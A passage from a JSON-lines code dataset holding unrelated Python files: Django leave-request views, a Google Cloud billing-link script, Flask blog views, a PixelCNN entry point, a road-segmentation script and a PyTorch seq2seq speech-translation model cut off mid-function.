to request leave of absence for the reasons under the category list.'\n }\n\n\nclass LeaveDayDetailView(DetailView):\n template_name = os.path.join('employees', 'leave', 'detail.html')\n model = models.Leave\n\n\nclass LeaveAuthorizationView(ContextMixin, FormView):\n form_class = forms.LeaveAuthorizationForm\n template_name = os.path.join('common_data', 'create_template.html')\n extra_context = {\n 'title': 'Authorize Leave Request'\n }\n\n def get_success_url(self):\n return reverse('employees:leave-detail', kwargs={\n 'pk': self.kwargs['pk']\n })\n\n def get_initial(self):\n return {\n 'leave_request': self.kwargs['pk']\n }\n\n def form_valid(self, cleaned_data):\n resp = super().form_valid(cleaned_data)\n leave_obj = models.Leave.objects.get(\n pk=cleaned_data['leave_request'].value())\n leave_obj.status = cleaned_data['status'].value()\n leave_obj.notes = cleaned_data['notes'].value()\n authorizer = models.Employee.objects.get(\n pk=cleaned_data['authorized_by'].value()\n )\n leave_obj.authorized_by = authorizer\n leave_obj.save()\n\n return resp\n\n\ndef _month_data(year, month):\n year = int(year)\n month = int(month)\n lower_limit = datetime.date(year=year, month=month, day=1)\n if not month == 12:\n upper_limit = datetime.date(year=year, month=month + 1, day=1)\n else:\n upper_limit = datetime.date(year=year + 1, month=1, day=1)\n\n leave_data = models.Leave.objects.filter(\n Q(\n Q(\n Q(start_date__gte=lower_limit) &\n Q(start_date__lt=upper_limit)\n ) | \n Q(\n Q(end_date__gte=lower_limit) &\n Q(end_date__lt=upper_limit)\n )\n ) &\n Q(status=1))\n \n\n def data_dict(d):\n return ({\n 'start_date': d.start_date.day,\n 'end_date': d.end_date.day,\n 'start_month': d.start_date.month,\n 'employee': d.employee.full_name,\n 'id': d.pk\n })\n\n return [data_dict(d) for d in leave_data]\n\n\ndef get_month_data(request, year=None, month=None):\n lower_limit = datetime.date(year=int(year), month=int(month), day=1)\n\n leave_data = _month_data(year, month)\n data = {\n 'leave': leave_data,\n 'title': lower_limit.strftime(\"%B, %Y\")\n }\n\n return JsonResponse(data)\n\n\ndef get_year_data(request, year=None):\n leave_data = []\n for i in range(12):\n leave_data.append(_month_data(year, (i+1)))\n data = {\n 'leave': leave_data\n\n }\n return JsonResponse(data)\n\n\nclass LeaveViewset(viewsets.ModelViewSet):\n queryset = models.Leave.objects.all()\n serializer_class = serializers.LeaveSerializer\n","sub_path":"employees/views/leave.py","file_name":"leave.py","file_ext":"py","file_size_in_byte":4150,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"514957285","text":"#!/usr/bin/env python\n\nfrom googleapiclient import discovery\nfrom oauth2client.client import GoogleCredentials\nimport argparse\nfrom os import environ\nimport logging\n\nlogger = logging.getLogger(__name__)\n\n#Variables\nbilling_account_id = '' #GCP Billing Account ID that project will be linked to\nservice_account_json_file_path = '' #Path to the SErvice Account's Private Key file\n\n#Set environment variable for service account authorization\nenviron['GOOGLE_APPLICATION_CREDENTIALS'] = service_account_json_file_path\n\n\ndef main():\n parser = argparse.ArgumentParser(description='Links newly created GCP project to billing account')\n parser.add_argument('--project_id', type=str, help='Project ID to link to billing account', required=True)\n args = parser.parse_args()\n\n link_billing(args.project_id, billing_account_id)\n\n\ndef link_billing(project_id, billing_account_id):\n credentials = GoogleCredentials.get_application_default()\n service = discovery.build('cloudbilling', 'v1', credentials=credentials)\n\n name='projects/' + project_id\n project_billing_info_body = {\n 'name': 'projects/' + project_id + '/billingInfo',\n 'projectId': project_id,\n 'billingAccountName': 'billingAccounts/' + billing_account_id,\n 'billingEnabled': False\n }\n request = service.projects().updateBillingInfo(name=name, body=project_billing_info_body)\n response = request.execute()\n logger.info(\"Project: %s has been linked to Billing Account: %s\" % (project_id, billing_account_id))\n\nif __name__ == \"__main__\":\n main()\n# sys.exit(main(sys.argv[1:]))\n","sub_path":"modules/link_billing_account.py","file_name":"link_billing_account.py","file_ext":"py","file_size_in_byte":1622,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"413062383","text":"# -*- coding: utf-8 -*-\n\nfrom . import main\nfrom .forms import EditProfileForm, EditProfileAdminForm, PostForm\nfrom .. import db\nfrom ..decorators import permission_required\nfrom ..models import User, Permission, Post, Follow\nfrom flask import render_template, flash, redirect, url_for, request, current_app, abort, make_response\nfrom flask_login import login_required, current_user\nfrom flask_sqlalchemy import get_debug_queries\n\n\n@main.route('/user/')\ndef user(username):\n user = User.query.filter_by(username=username).first_or_404()\n posts = user.posts.order_by(Post.timestamp.desc()).all()\n return render_template('user.html', user=user, posts=posts)\n\n\n@main.route('/edit-profile', methods=['GET', 'POST'])\n@login_required\ndef edit_profile():\n form = EditProfileForm()\n\n from flask_uploads import UploadSet, configure_uploads, IMAGES, patch_request_class\n photos = UploadSet('photos', IMAGES)\n configure_uploads(current_app, photos)\n patch_request_class(current_app)\n\n if form.validate_on_submit():\n if form.photo.data is not None:\n form.photos.save(form.photo.data, name=str(current_user.id) + '_temp.')\n import sys\n from config import basedir\n if sys.platform == 'win32' or sys.platform == 'cygwin':\n avatar_path = basedir + '\\\\app\\\\static\\\\avatar\\\\'\n else:\n avatar_path = basedir + '/app/static/avatar/'\n # delete old avatar if it exists\n import os\n try:\n os.remove(avatar_path + current_user.avatar_path)\n except:\n pass\n # rename temp avatar\n temp_avatar = avatar_path + str(current_user.id) + '_temp.' + form.photo.data.filename[-3:]\n avatar = avatar_path + str(current_user.id) + '.' + form.photo.data.filename[-3:]\n os.rename(temp_avatar, avatar)\n\n avatar_path = str(current_user.id) + '.' + form.photo.data.filename[-3:]\n current_user.avatar_path = avatar_path\n\n current_user.name = form.name.data\n current_user.location = form.location.data\n current_user.about_me = form.about_me.data\n db.session.add(current_user)\n\n flash('your profile has been updated')\n\n resp = make_response(redirect(url_for('.user', username=current_user.username)), 302)\n resp.headers['Cache-Control'] = 'max-age=0'\n return resp\n\n form.name.data = current_user.name\n form.location.data = current_user.location\n form.about_me.data = current_user.about_me\n return render_template('edit_profile.html', form=form)\n\n\n@main.route('/', methods=['GET', 'POST'])\ndef index():\n form = PostForm()\n page = request.args.get('page', 1, type=int)\n\n show_followed = False\n if current_user.is_authenticated:\n show_followed = bool(request.cookies.get('show_followed', ''))\n if show_followed:\n query_result = current_user.followed_posts\n else:\n query_result = Post.query\n pagination = query_result.order_by(Post.timestamp.desc()).paginate(page, per_page=current_app.config[\n 'FLASKY_POST_PER_PAGE'], error_out=False)\n if current_user.can(Permission.WRITE_ARTICLES) and form.validate_on_submit():\n post = Post(body=form.body.data, author=current_user._get_current_object())\n db.session.add(post)\n return redirect(url_for('.index'))\n posts = pagination.items\n\n return render_template('index.html', form=form, posts=posts, pagination=pagination, show_followed=show_followed)\n\n\n@main.route('/post/')\ndef post(id):\n post = Post.query.get_or_404(id)\n return render_template('post.html', posts=[post])\n\n\n@main.route('/edit/', methods=['GET', 'POST'])\n@login_required\ndef edit(id):\n post = Post.query.get_or_404(id)\n if current_user != post.author and not current_user.can(Permission.ADMINISTER):\n abort(403)\n form = PostForm()\n if form.validate_on_submit():\n post.body = form.body.data\n db.session.add(post)\n flash('The post has been updated')\n return redirect(url_for('.post', id=post.id))\n form.body.data = post.body\n return render_template('edit_post.html', form=form)\n\n\n@main.route('/follow/')\n@login_required\n@permission_required(Permission.FOLLOW)\ndef follow(username):\n user = User.query.filter_by(username=username).first()\n if user is None:\n flash('Invalid user')\n return redirect(url_for('.index'))\n if current_user.is_following(user):\n flash(\"You're already following this user\")\n return redirect(url_for('.user', username=username))\n current_user.follow(user)\n flash(\"now you're following this user\")\n return redirect(url_for('.user', username=username))\n\n\n@main.route('/unfollow/')\n@login_required\n@permission_required(Permission.FOLLOW)\ndef unfollow(username):\n user = User.query.filter_by(username=username).first()\n if user is None:\n flash('Invalid user')\n return redirect(url_for('.index'))\n if not current_user.is_following(user):\n flash(\"You cannot unfollow a user which you're not following\")\n return redirect(url_for('.user', username=username))\n current_user.unfollow(user)\n flash(\"now you're unfollowing this user\")\n return redirect(url_for('.user', username=username))\n\n\n@main.route('/followers/')\ndef followers(username):\n user = User.query.filter_by(username=username).first()\n if user is None:\n flash('Invalid user.')\n return redirect(url_for('.index'))\n page = request.args.get('page', 1, type=int)\n pagination = user.followers.paginate(page, per_page=current_app.config['FLASKY_FOLLOWERS_PER_PAGE'],\n error_out=False)\n follows = [{'user': item.follower, 'timestamp': item.timestamp} for item in pagination.items]\n return render_template('followers.html', user=user, title=\"Followers of\", endpoint='.followers',\n pagination=pagination, follows=follows)\n\n\n@main.route('/followed-by/')\ndef followed_by(username):\n user = User.query.filter_by(username=username).first()\n if user is None:\n flash('Invalid user.')\n return redirect(url_for('.index'))\n page = request.args.get('page', 1, type=int)\n pagination = user.followed.paginate(page, per_page=current_app.config['FLASKY_FOLLOWERS_PER_PAGE'],\n error_out=False)\n follows = [{'user': item.followed, 'timestamp': item.timestamp} for item in pagination.items]\n return render_template('followers.html', user=user, title=\"Followed by\", endpoint='.followed_by',\n pagination=pagination, follows=follows)\n\n\n@main.route('/all')\n@login_required\ndef show_all():\n resp = make_response(redirect(url_for('.index')))\n resp.set_cookie('show_followed', '', max_age=30 * 24 * 60 * 60)\n return resp\n\n\n@main.route('/followed')\n@login_required\ndef show_followed():\n resp = make_response(redirect(url_for('.index')))\n resp.set_cookie('show_followed', '1', max_age=30 * 24 * 60 * 60)\n return resp\n\n\n@main.after_request\ndef after_request(response):\n for query in get_debug_queries():\n if query.duration >= current_app.config['FLASKY_SLOW_DB_QUERY_TIME']:\n current_app.logger.warning('Flow query: %s\\nParameters:%s\\nDuration:%fs\\nContext:%s\\n' % (\n query.statement, query.parameters, query.duration, query.context))\n return response\n","sub_path":"app/main/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":7520,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"459537982","text":"import tensorflow as tf\n\nimport logger\nfrom argument_parser import setup_argument_parser\nfrom dataset import create_dataset\nfrom model import create_conditional_model, create_model, predict, train\n\n# Setup global logger\nlog = logger.setup_logger(__name__)\n\n\ndef main():\n # Extract config from arguments\n config = setup_argument_parser()\n\n log.info(\"Starting...\")\n\n log.info(\"Program will run with following parameters:\")\n log.info(config)\n\n # Create the image dataset from the data/input folder\n ds, val_ds, image_size = create_dataset(config)\n\n # Whether we are testing or training\n if config.training:\n model, dist = train(ds, val_ds, config, image_shape=image_size)\n else:\n log.info(\"Loading model...\")\n # Load model\n latest = tf.train.latest_checkpoint(config.checkpoints)\n log.info(latest)\n\n # Create a new model instance\n if config.class_conditional:\n model, dist = create_conditional_model(config, image_size)\n else:\n model, dist = create_model(config, image_size)\n\n # Load the params back into the model\n model.load_weights(latest).expect_partial()\n\n log.info(\"Loading done\")\n\n log.info(\"Predicting...\")\n\n predict(dist, config)\n\n log.info(\"Prediction done...\")\n\n log.info(\" Done \")\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"PixelCNN/src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1373,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"628658621","text":"import pandas as pd\nimport numpy as np\nfrom sklearn.linear_model import LinearRegression\nimport sys\nimport json\n\nroad_filename = 'testroads3.json'\nroads = []\n\nprint('load data...')\nusecols = ['starting_latitude', 'starting_longitude']\ndf = pd.read_csv(\n '../../../data/data_train_competition.csv', usecols=usecols)\ndf.columns = ['lat', 'lon']\n\n# df = df.ix[np.logical_and(df['lat'] > 40.63, df['lat'] < 40.64)]\n# df = df.ix[np.logical_and(df['lon'] > 22.935, df['lon'] < 22.945)]\ndf = df.sample(100000)\n\nX = df.as_matrix()\n\n# hyperparameters\nDnn = 0.0005\nDclose = 0.0003\nDroad = 0.0002\n\n\ndef roads_distance(x):\n roads_dist = np.zeros(len(roads))\n for roadi, road in enumerate(roads):\n assert len(road) > 1\n road = np.asarray(road)\n\n A = np.rollaxis(road[:-1], 1)\n B = np.rollaxis(road[1:], 1)\n C = x[:, np.newaxis]\n\n AB = B-A\n AC = C-A\n cross = AB[0]*AC[1] - AB[1]*AC[0]\n distAB = np.sqrt((A[0]-B[0])**2 + (A[1]-B[1])**2)\n distBC = np.sqrt((B[0]-C[0])**2 + (B[1]-C[1])**2)\n distAC = np.sqrt((A[0]-C[0])**2 + (A[1]-C[1])**2)\n\n distAB += 0.0001 # avoid zero division\n dist = np.abs(cross / distAB)\n\n # check if outside the segment\n BC = C-B\n dot1 = AB[0]*BC[0] + AB[1]*BC[1]\n dot2 = (-AB[0])*AC[0] + (-AB[1])*AC[1]\n\n res = \\\n (dot1 >= 0)*distBC + \\\n (dot2 >= 0)*distAC + \\\n np.logical_and(dot1 < 0, dot2 < 0)*dist\n roads_dist[roadi] = np.min(res)\n return roads_dist\n\n\ndef create_road(i0):\n ii = [i0]\n newii = ii\n it = 0\n while True:\n # 1. neighbors of ii\n dd = np.ones(len(X))*np.inf\n for i in newii:\n d = (X[:, 0] - X[i, 0])**2 + (X[:, 1] - X[i, 1])**2\n dd = np.minimum(dd, d)\n dd[ii] = 0\n\n jj = np.where(dd < Dnn**2)[0]\n\n # 2 linear regression line\n _jj = jj[np.random.choice(len(jj), min(len(jj), 20000), False)]\n m = LinearRegression(fit_intercept=False)\n m.fit(X[_jj, 0:1] - X[i0, 0], X[_jj, 1] - X[i0, 1])\n\n # 3. distance to linear regression\n # distance = |ax+by+c| / sqrt(a^2+b^2)\n a = -m.coef_[0]\n b = 1\n c = 0\n dd = np.abs(a*(X[jj, 0]-X[i0, 0]) + b*(X[jj, 1]-X[i0, 1]) + c) / \\\n np.sqrt(a**2+b**2)\n\n oldii = ii\n ii = np.union1d(ii, jj[dd < Droad])\n newii = np.array([i for i in ii if i not in oldii])\n if len(newii) == 0:\n if it <= 1:\n return None\n x0 = X[ii, 0].min()\n x1 = X[ii, 0].max()\n return (x0, m.predict([[x0]])[0]), ((x1, m.predict([[x1]])[0]))\n it += 1\n\nprint('generating roads...')\nfor it, i in enumerate(np.random.choice(len(X), len(X), False)):\n sys.stdout.write('\\r%5.2f%% (%d)' % (100*it/len(X), len(roads)))\n sys.stdout.flush()\n dd = roads_distance(X[i])\n if len(dd) == 0 or dd.min() > Dclose:\n # create new road\n road = create_road(i)\n if road:\n roads.append(road)\nsys.stdout.write('\\r \\r')\nprint('roads len: %d' % len(roads))\n\nprint('saving roads...')\nwith open(road_filename, 'w') as f:\n json.dump(roads, f)\n","sub_path":"tests/segmentation/autoinit2.py","file_name":"autoinit2.py","file_ext":"py","file_size_in_byte":3226,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"457771086","text":"import random\nimport numpy as np\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torch.autograd import Variable\n\nfrom modules.layers import TransformerDecoderLayer\nfrom modules.layers import _get_pad_mask, _get_zero_mask, _get_subsequent_mask\nfrom utils.config import PAD, EOS, BOS, UNK\nfrom utils.dataset import load_pretrained_embedding\nfrom utils.misc import check_device\n\nfrom .Las import LAS\nfrom .TFEnc import Encoder\nfrom .TFDec import Decoder\n\nimport warnings\nwarnings.filterwarnings(\"ignore\")\n\n\nclass Seq2seq(nn.Module):\n\n\t\"\"\"\n\t\tacous/en enc + en/de dec\n\t\tembedding passing\n\t\"\"\"\n\n\tdef __init__(self,\n\t\tenc_vocab_size,\n\t\tdec_vocab_size,\n\t\tshare_embedder,\n\t\tenc_embedding_size = 200,\n\t\tdec_embedding_size = 200,\n\t\tload_embedding_src = None,\n\t\tload_embedding_tgt = None,\n\t\tmax_seq_len_src = 32,\n\t\tmax_seq_len_tgt = 300,\n\t\tnum_heads = 8,\n\t\tdim_model = 512,\n\t\tdim_feedforward = 1024,\n\t\tenc_layers = 6,\n\t\tdec_layers = 6,\n\t\tembedding_dropout=0.0,\n\t\tdropout=0.2,\n\t\tact=False,\n\t\tenc_word2id=None,\n\t\tenc_id2word=None,\n\t\tdec_word2id=None,\n\t\tdec_id2word=None,\n\t\ttransformer_type='standard',\n\t\tenc_emb_proj=False,\n\t\tdec_emb_proj=False,\n\t\t# pyramidal lstm params\n\t\tacous_dim=40,\n\t\tacous_hidden_size=256,\n\t\t# mode to select params to init\n\t\tmode='ASR',\n\t\tload_mode='ASR' # useful for storing frozen var\n\t\t):\n\n\t\tsuper(Seq2seq, self).__init__()\n\t\tself.EMB_DYN_AVE_PATH = \\\n\t\t'models/base/ted-asr-v001/eval_ted_train_STATS/2020_09_02_04_10_44/dyn_emb_ave.npy'\n\t\tself.EMB_DYN_AVE = torch.from_numpy(np.load(self.EMB_DYN_AVE_PATH))\n\n\t\t# define var\n\t\tself.enc_vocab_size = enc_vocab_size\n\t\tself.dec_vocab_size = dec_vocab_size\n\t\tself.enc_embedding_size = enc_embedding_size\n\t\tself.dec_embedding_size = dec_embedding_size\n\t\tself.load_embedding_src = load_embedding_src\n\t\tself.load_embedding_tgt = load_embedding_tgt\n\t\tself.max_seq_len_src = max_seq_len_src\n\t\tself.max_seq_len_tgt = max_seq_len_tgt\n\t\tself.num_heads = num_heads\n\t\tself.dim_model = dim_model\n\t\tself.dim_feedforward = dim_feedforward\n\n\t\tself.enc_layers = enc_layers\n\t\tself.dec_layers = dec_layers\n\n\t\tself.embedding_dropout = nn.Dropout(embedding_dropout)\n\t\tself.dropout = nn.Dropout(dropout)\n\t\tself.act = act\n\t\tself.enc_emb_proj = enc_emb_proj\n\t\tself.dec_emb_proj = dec_emb_proj\n\n\t\tself.enc_word2id = enc_word2id\n\t\tself.enc_id2word = enc_id2word\n\t\tself.dec_word2id = dec_word2id\n\t\tself.dec_id2word = dec_id2word\n\t\tself.transformer_type = transformer_type\n\t\tself.mode = mode\n\t\tself.load_mode = load_mode\n\n\t\t# ------------- define embedders -------------\n\t\tif self.load_embedding_src:\n\t\t\tembedding_matrix = np.random.rand(self.enc_vocab_size, self.enc_embedding_size)\n\t\t\tembedding_matrix = torch.FloatTensor(load_pretrained_embedding(\n\t\t\t\tself.enc_word2id, embedding_matrix, self.load_embedding_src))\n\t\t\tself.enc_embedder = nn.Embedding.from_pretrained(embedding_matrix,\n\t\t\t\tfreeze=False, sparse=False, padding_idx=PAD)\n\t\telse:\n\t\t\tself.enc_embedder = nn.Embedding(self.enc_vocab_size,\n\t\t\t\tself.enc_embedding_size, sparse=False, padding_idx=PAD)\n\n\t\tif self.load_embedding_tgt:\n\t\t\tembedding_matrix = np.random.rand(self.dec_vocab_size, self.dec_embedding_size)\n\t\t\tembedding_matrix = torch.FloatTensor(load_pretrained_embedding(\n\t\t\t\tself.dec_word2id, embedding_matrix, self.load_embedding_tgt))\n\t\t\tself.dec_embedder = nn.Embedding.from_pretrained(embedding_matrix,\n\t\t\t\tfreeze=False, sparse=False, padding_idx=PAD)\n\t\telse:\n\t\t\tself.dec_embedder = nn.Embedding(self.dec_vocab_size,\n\t\t\t\tself.dec_embedding_size, sparse=False, padding_idx=PAD)\n\n\t\tif share_embedder:\n\t\t\tassert enc_vocab_size == dec_vocab_size\n\t\t\tself.enc_embedder = self.dec_embedder\n\n\t\tself.enc_emb_proj_flag = True\n\t\tself.enc_emb_proj = nn.Linear(self.enc_embedding_size + self.dim_model,\n\t\t\tself.dim_model, bias=False) # static + dynamic embedding -> hidden\n\n\t\tself.dec_emb_proj_flag = False\n\t\tif (self.dec_embedding_size != self.dim_model) or (self.dec_emb_proj == True):\n\t\t\tself.dec_emb_proj_flag = True\n\t\t\tself.dec_emb_proj = nn.Linear(self.dec_embedding_size,\n\t\t\t\tself.dim_model, bias=False) # embedding -> hidden\n\n\t\t# ------------- construct enc, dec -------------------\n\t\t# params\n\t\tself.acous_dim = acous_dim\n\t\tself.acous_hidden_size = acous_hidden_size\n\t\tenc_params = (self.dim_model, self.dim_feedforward, self.num_heads,\n\t\t\tself.enc_layers, self.act, dropout, self.transformer_type)\n\t\tdec_params = (self.dim_model, self.dim_feedforward, self.num_heads,\n\t\t\tself.dec_layers, self.act, dropout, self.transformer_type)\n\n\t\t# LAS\n\t\tcomb_mode = '-'.join([self.mode,self.load_mode])\n\t\tif 'ASR' in comb_mode or 'ST' in comb_mode:\n\t\t\tself.las = LAS(\n\t\t\t\tself.enc_vocab_size,\n\t\t\t\tembedding_size=self.enc_embedding_size,\n\t\t\t\tacous_dim=self.acous_dim,\n\t\t\t\tacous_hidden_size=self.acous_hidden_size,\n\t\t\t\tacous_att_mode='bilinear',\n\t\t\t\thidden_size_dec=self.dim_model,\n\t\t\t\thidden_size_shared=self.dim_model,\n\t\t\t\tnum_unilstm_dec=3,\n\t\t\t\t#\n\t\t\t\tacous_norm=True,\n\t\t\t\tspec_aug=True,\n\t\t\t\tbatch_norm=False,\n\t\t\t\tenc_mode='pyramid',\n\t\t\t\t#\n\t\t\t\tembedding_dropout=embedding_dropout,\n\t\t\t\tdropout=dropout,\n\t\t\t\tresidual=True,\n\t\t\t\tbatch_first=True,\n\t\t\t\tmax_seq_len=self.max_seq_len_src,\n\t\t\t\tembedder=None, # do not share embedder with text encoder\n\t\t\t\tword2id=self.enc_word2id,\n\t\t\t\tid2word=self.enc_id2word,\n\t\t\t\thard_att=False\n\t\t\t)\n\n\t\t# En decode\n\t\tif 'AE' in comb_mode:\n\t\t\tself.out_src = self.las.decoder.acous_out # share with las out layer\n\n\t\t# En encode\n\t\t# De decode\n\t\tif 'ST' in comb_mode or 'MT' in comb_mode:\n\t\t\tself.enc_src = Encoder(*enc_params)\n\t\t\tself.dec_tgt = Decoder(*dec_params)\n\t\t\tself.out_tgt = nn.Linear(self.dim_model, self.dec_vocab_size, bias=False)\n\n\n\tdef _get_src_emb(self, src, emb_src_dyn, device):\n\t\t# En mask\n\t\tsrc_mask_input = _get_pad_mask(src).to(device=device).type(torch.uint8)\n\t\tsrc_mask = ((_get_pad_mask(src).to(device=device).type(torch.uint8)\n\t\t\t& _get_subsequent_mask(src.size(-1)).type(torch.uint8).to(device=device)))\n\t\temb_src_static = self.enc_embedder(src)\n\n\t\t# cat dynamic + static\n\t\temb_src_comb = torch.cat((emb_src_static, emb_src_dyn), dim=2)\n\n\t\t# map\n\t\tif self.enc_emb_proj_flag:\n\t\t\temb_src = self.enc_emb_proj(self.embedding_dropout(emb_src_comb))\n\t\telse:\n\t\t\temb_src = self.embedding_dropout(emb_src_comb)\n\n\t\treturn src_mask, emb_src, src_mask_input\n\n\n\tdef _get_tgt_emb(self, tgt, device):\n\t\t# De mask\n\t\ttgt_mask = ((_get_pad_mask(tgt).to(device=device).type(torch.uint8)\n\t\t\t& _get_subsequent_mask(tgt.size(-1)).type(torch.uint8).to(device=device)))\n\t\tif self.dec_emb_proj_flag:\n\t\t\temb_tgt = self.dec_emb_proj(self.embedding_dropout(self.dec_embedder(tgt)))\n\t\telse:\n\t\t\temb_tgt = self.embedding_dropout(self.dec_embedder(tgt))\n\n\t\treturn tgt_mask, emb_tgt\n\n\n\tdef _pre_proc_src(self, src, device):\n\n\t\t# remove initial BOS：to match with _encouder_acous output\n\t\tsrc_proc = src[:,1:]\n\n\t\treturn src_proc\n\n\n\tdef _encoder_acous(self, acous_feats, acous_lens, device, use_gpu, tgt=None,\n\t\tis_training=False, teacher_forcing_ratio=0.0, lm_mode='null', lm_model=None):\n\t\t# get acoustics - [batch_size, acous_len / 8, self.acous_hidden_size * 2]\n\t\temb_src, logps_src, preds_src, lengths = self.las(acous_feats,\n\t\t\tacous_lens=acous_lens, tgt=tgt, is_training=is_training,\n\t\t\tteacher_forcing_ratio=teacher_forcing_ratio, use_gpu=use_gpu,\n\t\t\tlm_mode=lm_mode, lm_model=lm_model)\n\n\t\treturn emb_src, logps_src, preds_src, lengths\n\n\n\tdef _encoder_en(self, emb_src, src_mask=None):\n\t\t# En encoder\n\t\tenc_outputs, *_ = self.enc_src(emb_src, src_mask=src_mask)\t# b x len x dim_model\n\n\t\treturn enc_outputs\n\n\n\tdef _decoder_en(self, emb_src):\n\t\t# En decoder\n\t\tlogits_src = self.out_src(emb_src)\t# b x len x vocab_size\n\t\tlogps_src = torch.log_softmax(logits_src, dim=2)\n\t\tscores_src, preds_src = logps_src.data.topk(1)\n\n\t\treturn logits_src, logps_src, preds_src, scores_src\n\n\n\tdef _decoder_de(self, emb_tgt, enc_outputs,\n\t\ttgt_mask=None, src_mask=None, beam_width=1):\n\t\t# De decoder\n\t\tdec_outputs_tgt, *_ = self.dec_tgt(emb_tgt, enc_outputs, tgt_mask=tgt_mask, src_mask=src_mask)\n\t\tlogits_tgt = self.out_tgt(dec_outputs_tgt)\t# b x len x vocab_size\n\t\tlogps_tgt = torch.log_softmax(logits_tgt, dim=2)\n\t\tscores_tgt, preds_tgt = logps_tgt.data.topk(beam_width)\n\n\t\treturn dec_outputs_tgt, logits_tgt, logps_tgt, preds_tgt, scores_tgt\n\n\n\tdef _prep_eval(self, batch, length_out, vocab_size, device):\n\n\t\t# eos\n\t\teos_mask = torch.BoolTensor([False]).repeat(batch).to(device=device)\n\t\t# record\n\t\tlogps = torch.Tensor([(1.0/vocab_size)]).log().repeat(batch,length_out,vocab_size).type(\n\t\t\ttorch.FloatTensor).to(device=device)\n\t\tdec_outputs = torch.Tensor([0]).repeat(batch,length_out,self.dim_model).type(\n\t\t\ttorch.FloatTensor).to(device=device)\n\t\tpreds_save = torch.Tensor([PAD]).repeat(batch,length_out).type(\n\t\t\ttorch.LongTensor).to(device=device) # used to update pred history\n\n\t\t# start from length = 1\n\t\tpreds = torch.Tensor([BOS]).repeat(batch,1).type(\n\t\t\ttorch.LongTensor).to(device=device)\n\t\tpreds_save[:, 0] = preds[:, 0]\n\n\t\treturn eos_mask, logps, dec_outputs, preds_save, preds, preds_save\n\n\n\tdef _step_eval(self, i, eos_mask, dec_output, logp, pred,\n\t\tdec_outputs, logps, preds_save, preds, batch, length_out):\n\n\t\t# import pdb; pdb.set_trace\n\t\teos_mask = ((pred[:, i-1].squeeze(1) == EOS).type(torch.uint8)\n\t\t\t+ eos_mask.type(torch.uint8)).type(torch.bool).type(torch.uint8) # >=pt1.1\n\n\t\t# b x len x dim_model - [:,0,:] is dummy 0's\n\t\tdec_outputs[:, i, :] = dec_output[:, i-1]\n\t\t# b x len x vocab_size - [:,0,:] is dummy - (1/vocab_size).log() # individual logps\n\t\tlogps[:, i, :] = logp[:, i-1, :]\n\t\t# b x len - [:,0] is BOS\n\t\tpreds_save[:, i] = pred[:, i-1].view(-1)\n\n\t\t# append current pred, length+1\n\t\tpreds = torch.cat((preds,pred[:, i-1]),dim=1)\n\t\tflag = 0\n\t\tif sum(eos_mask.int()) == eos_mask.size(0):\n\t\t\tflag = 1\n\t\t\tif length_out != preds.size(1):\n\t\t\t\tdummy = torch.Tensor([PAD]).repeat(batch, length_out-preds.size(1)).type(\n\t\t\t\t\ttorch.LongTensor).to(device=device)\n\t\t\t\tpreds = torch.cat((preds,dummy),dim=1) # pad to max length\n\n\t\treturn eos_mask, dec_outputs, logps, preds_save, preds, flag\n\n\n\tdef _prep_translate(self, batch, beam_width, device, length_in, enc_outputs,\n\t\tsrc_mask_input=None):\n\n\t\t# prep\n\t\teos_mask = torch.BoolTensor([False]).repeat(batch * beam_width).to(device=device)\n\t\tlen_map = torch.Tensor([1]).repeat(batch * beam_width).to(device=device)\n\t\tpreds = torch.Tensor([BOS]).repeat(batch, 1).type(\n\t\t\ttorch.LongTensor).to(device=device)\n\n\t\t# repeat for beam_width times\n\t\t# a b c d -> aaa bbb ccc ddd\n\n\t\t# b x len x dim_model -> (b x beam_width) x len x dim_model\n\t\tenc_outputs_expand = enc_outputs.repeat(1, beam_width, 1).view(-1, length_in, self.dim_model)\n\t\t# (b x beam_width) x len\n\t\tpreds_expand = preds.repeat(1, beam_width).view(-1, preds.size(-1))\n\t\t# (b x beam_width)\n\t\tscores_expand = torch.Tensor([0]).repeat(batch * beam_width).type(\n\t\t\ttorch.FloatTensor).to(device=device)\n\t\t# b x 1 x len -> (b x beam_width) x 1 x len\n\t\tif type(src_mask_input) != type(None):\n\t\t\tsrc_mask_input_expand = src_mask_input.repeat(\n\t\t\t\t1, beam_width, 1).view(-1, 1, src_mask_input.size(-1))\n\t\telse:\n\t\t\tsrc_mask_input_expand = None\n\n\t\treturn eos_mask, len_map, preds, enc_outputs_expand, preds_expand, \\\n\t\t\tscores_expand, src_mask_input_expand\n\n\n\tdef _step_translate(self, i, batch, beam_width, device,\n\t\tdec_output_expand, logp_expand, pred_expand, score_expand,\n\t\tpreds_expand, scores_expand, eos_mask, len_map, penalty_factor):\n\n\t\t# import pdb; pdb.set_trace()\n\t\t# select current slice\n\t\tdec_output = dec_output_expand[:, i-1]\t# (b x beam_width) x dim_model - no use\n\t\tlogp = logp_expand[:, i-1, :] \t# (b x beam_width) x vocab_size - no use\n\t\tpred = pred_expand[:, i-1] \t\t# (b x beam_width) x beam_width\n\t\tscore = score_expand[:, i-1]\t\t# (b x beam_width) x beam_width\n\n\t\t# select k candidates from k^2 candidates\n\t\tif i == 1:\n\t\t\t# inital state, keep first k candidates\n\t\t\t# b x (beam_width x beam_width) -> b x (beam_width) -> (b x beam_width) x 1\n\t\t\tscore_select = scores_expand + score.reshape(batch, -1)[:,:beam_width]\\\n\t\t\t\t.contiguous().view(-1)\n\t\t\tscores_expand = score_select\n\t\t\tpred_select = pred.reshape(batch, -1)[:, :beam_width].contiguous().view(-1)\n\t\t\tpreds_expand = torch.cat((preds_expand,pred_select.unsqueeze(-1)),dim=1)\n\n\t\telse:\n\t\t\t# keep only 1 candidate when hitting eos\n\t\t\t# (b x beam_width) x beam_width\n\t\t\teos_mask_expand = eos_mask.reshape(-1,1).repeat(1, beam_width)\n\t\t\teos_mask_expand[:,0] = False\n\t\t\t# (b x beam_width) x 